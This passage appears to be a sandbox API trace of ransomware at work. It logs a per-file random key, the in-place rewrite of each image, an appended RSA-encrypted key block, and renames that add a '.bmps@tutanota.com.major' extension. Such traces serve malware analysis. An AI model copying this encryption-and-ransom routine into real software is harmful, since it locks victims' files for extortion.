lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16d25 [0148.738] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.738] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.738] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.738] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.738] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.738] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="q2U2i+fmtw2nBUTyhPXJPRpanKvD+B/6ae6jwHSdzIBRms4TsDnITZImHpw2Mjh3\nHb8BOkUwPJl145vtznrXS6OJ/sxpUZulwqFgx9HRRRWxjnEpxK2stFFGUgtmIkJZ\nAMr72nyP4kzSujCUGhztejUWHIuu6DW0vNWw0t+H9sz4wieyyTaZvOkNDb9amboK\n3R0gxY6R6yOFY6WhARU3y9UBrv+3MCbT0SMasRdcKE5Yllxt7mYr88gRB8nVH4FR\nQYBlN65IzhwbqGg78YrpmyCruu1L+d5X7jMbu84qVpQfFaRx+MS3wDphSp5yfpOA\n3R9VpMgvfiCYhNUpSZoxeA==\n", pcchString=0x2e3f9a8) returned 1 [0148.739] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.739] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.739] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.739] CloseHandle (hObject=0x600) returned 1 [0148.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.739] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\gdRt_WCHPsCtQ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gdrt_wchpsctq.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\gdRt_WCHPsCtQ.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\gdrt_wchpsctq.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0148.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0148.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0148.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.742] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.742] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Gdcr9kY5tD.jpg", dwFileAttributes=0x80) returned 1 [0148.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0148.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0148.742] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Gdcr9kY5tD.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gdcr9ky5td.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.743] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=21645) returned 1 [0148.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x548d) returned 0x631898 [0148.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x548d) returned 0x636d30 [0148.743] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x548d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x548d, lpOverlapped=0x0) returned 1 [0148.744] SetFilePointer (in: hFile=0x600, lDistanceToMove=-21645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.744] WriteFile (in: hFile=0x600, lpBuffer=0x636d30*, nNumberOfBytesToWrite=0x548d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x636d30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x548d, lpOverlapped=0x0) returned 1 [0148.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x636d30 | out: hHeap=0x570000) returned 1 [0148.744] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x548d [0148.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.744] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="6M75A/uDCE+1CeHd4qRxTJfWsdOUpCqVxvSU84W4moBVkA34r5nsYDBsnhundOL6\nkfGj4UeXb04LtrB1M/xHXqH4LNj5+5PcVeFrAft204jdI0JFyQ/E33CbRZBtoAyl\nDGL2efGFtkMvCfSqAWuezxowm8+3/HBq60Yc+REyqeWdayViYFHa9OkR2uPA2mHd\nncYR6yh8tEOgvy1FUh+HwdIJBFGLbzjhkb6ZgnvVvX27Ss1LybUDuurav5irE98d\nKtecAn/jR8M0nmUdN8xmyN7ACYZCi4i2AVf5si+rpuvLpRteF/CMZvAx/IleEdjo\nviMV+6yDtbaOYuAzpLmNSA==\n", pcchString=0x2e3f9a8) returned 1 [0148.744] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.745] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.745] CloseHandle (hObject=0x600) returned 1 [0148.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.745] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Gdcr9kY5tD.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gdcr9ky5td.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Gdcr9kY5tD.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\gdcr9ky5td.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0148.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0148.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0148.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.747] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.747] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\GC-hRBguzaXVSAOa.bmp", dwFileAttributes=0x80) returned 1 [0148.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0148.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0148.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0148.747] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\GC-hRBguzaXVSAOa.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\gc-hrbguzaxvsaoa.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.748] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=54792) returned 1 [0148.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd608) returned 0x631898 [0148.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd608) returned 0x63eea8 [0148.748] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xd608, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xd608, lpOverlapped=0x0) returned 1 [0148.749] SetFilePointer (in: hFile=0x600, lDistanceToMove=-54792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.749] WriteFile (in: hFile=0x600, lpBuffer=0x63eea8*, nNumberOfBytesToWrite=0xd608, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63eea8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd608, lpOverlapped=0x0) returned 1 [0148.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63eea8 | out: hHeap=0x570000) returned 1 [0148.749] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd608 [0148.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.750] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="azPvD97LMvshR2JmOLNczVIE0rn3sb/ITG2Mcwtwy9d+9Qwh7o/B9q+lwTNdwkfh\nXMR4krXwsYf2E8d3XdidaZo0z9G5dsgJj51qYEYLrFxAueJI7F3TEONETNY/AfWS\n0oR/KaGISDNZMapOAFjdo/rPZsyTt+/VbtmvnXSSA/etNY0xKXP5zqQCIBdjJSHj\n007Mr2FdhF+XuORx7ED5iZVs5l/nAaov0OfRKDxjk4NSGX0w9HMG4knR2VrN74s+\nGwW3JgkNSBcwwaRq3doR9SlodiE1sQaujSQjiQImzS2noQWKcpw1LjiUBIQpqKTx\nNVguE2TXGKqfW+d481DFEw==\n", pcchString=0x2e3f9a8) returned 1 [0148.750] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.750] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.750] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.750] CloseHandle (hObject=0x600) returned 1 [0148.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.750] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\GC-hRBguzaXVSAOa.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\gc-hrbguzaxvsaoa.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\GC-hRBguzaXVSAOa.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\gc-hrbguzaxvsaoa.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0148.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0148.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0148.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0148.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.752] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\gbYh3XzG4z 9S.bmp", dwFileAttributes=0x80) returned 1 [0148.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0148.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0148.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\gbYh3XzG4z 9S.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\gbyh3xzg4z 9s.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.753] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=92351) returned 1 [0148.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x168bf) returned 0x631898 [0148.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x168bf) returned 0x648160 [0148.753] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x168bf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x168bf, lpOverlapped=0x0) returned 1 [0148.756] SetFilePointer (in: hFile=0x600, lDistanceToMove=-92351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.756] WriteFile (in: hFile=0x600, lpBuffer=0x648160*, nNumberOfBytesToWrite=0x168bf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x648160*, lpNumberOfBytesWritten=0x2e3f9b4*=0x168bf, lpOverlapped=0x0) returned 1 [0148.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x648160 | out: hHeap=0x570000) returned 1 [0148.756] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x168bf [0148.757] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.757] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.757] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.757] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.757] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.757] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="c/O2GrGm8UqIlmhd17cL1W4nC035grS9bTDyWSRUWELxJYwT9CpIFsoDN2YJWSuH\nfMfCikycmFXw59xDGNEiDYoKUU8yXR+OSSbH7WDvhaBRaDncfZ+VdbWcRpjs8HjM\nJX/uX+TbYfdZ7IvuKTzhTcUCYxLpxFyrb6r1u2mhiuhMEgQVX/Y6b1omevVnT9Tb\nLATfhheyxjupOsBmellusaSpTibIji6EtuoCtvAhKSotnu43P/y2RbdBcPQMQ7w2\nxYqg0NohjCzVFDr/L0XxrRQwpoKpDyepQTuafBfAuvYpHEuFn2JVZi5zc980Zsz9\nJHMHTWXQ+6dLcNuGFwoIug==\n", pcchString=0x2e3f9a8) returned 1 [0148.758] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.758] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.758] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.758] CloseHandle (hObject=0x600) returned 1 [0148.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.758] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\gbYh3XzG4z 9S.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\gbyh3xzg4z 9s.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\gbYh3XzG4z 9S.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\gbyh3xzg4z 9s.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0148.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0148.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0148.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.794] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\FGjN.gif", dwFileAttributes=0x80) returned 1 [0148.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0148.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0148.794] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\FGjN.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\fgjn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.794] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=67075) returned 1 [0148.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10603) returned 0x631898 [0148.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10603) returned 0x641ea8 [0148.795] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x10603, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x10603, lpOverlapped=0x0) returned 1 [0148.796] SetFilePointer (in: hFile=0x600, lDistanceToMove=-67075, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.797] WriteFile (in: hFile=0x600, lpBuffer=0x641ea8*, nNumberOfBytesToWrite=0x10603, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x641ea8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10603, lpOverlapped=0x0) returned 1 [0148.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x641ea8 | out: hHeap=0x570000) returned 1 [0148.797] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10603 [0148.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.797] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="/rxxStl42n5cZOrDsdS4jwp8jwbY9n3OlPUGtHFToWsPSHh8/2oZFQo2yUkt4TtO\ncssWuBcWGV8jXzXtpfwQNU3gG+UgqFf3tuRS9WgZBWh5IIq9JU7aWxoEAp2ZTKi/\nVLxb4J0l1tNmfKlfZwJLfYgpXYNTTwDRuLzfu6L5GUm+BdIUBwKkzmotsnfpmlIe\nAOTEeJQrKKfYyICifgKWV9Otcd2Thaw68151DDZ+ucXDXclyzLwq1m8p8ZRV4t7Y\nagAz74v+BAq5OFrCC5dDBeDkqsfKgv36i7Lrazp1hkBHp/c6N7c8yCy5niUvhQQ1\npVE5t0/YGSeCln4FnTQdTA==\n", pcchString=0x2e3f9a8) returned 1 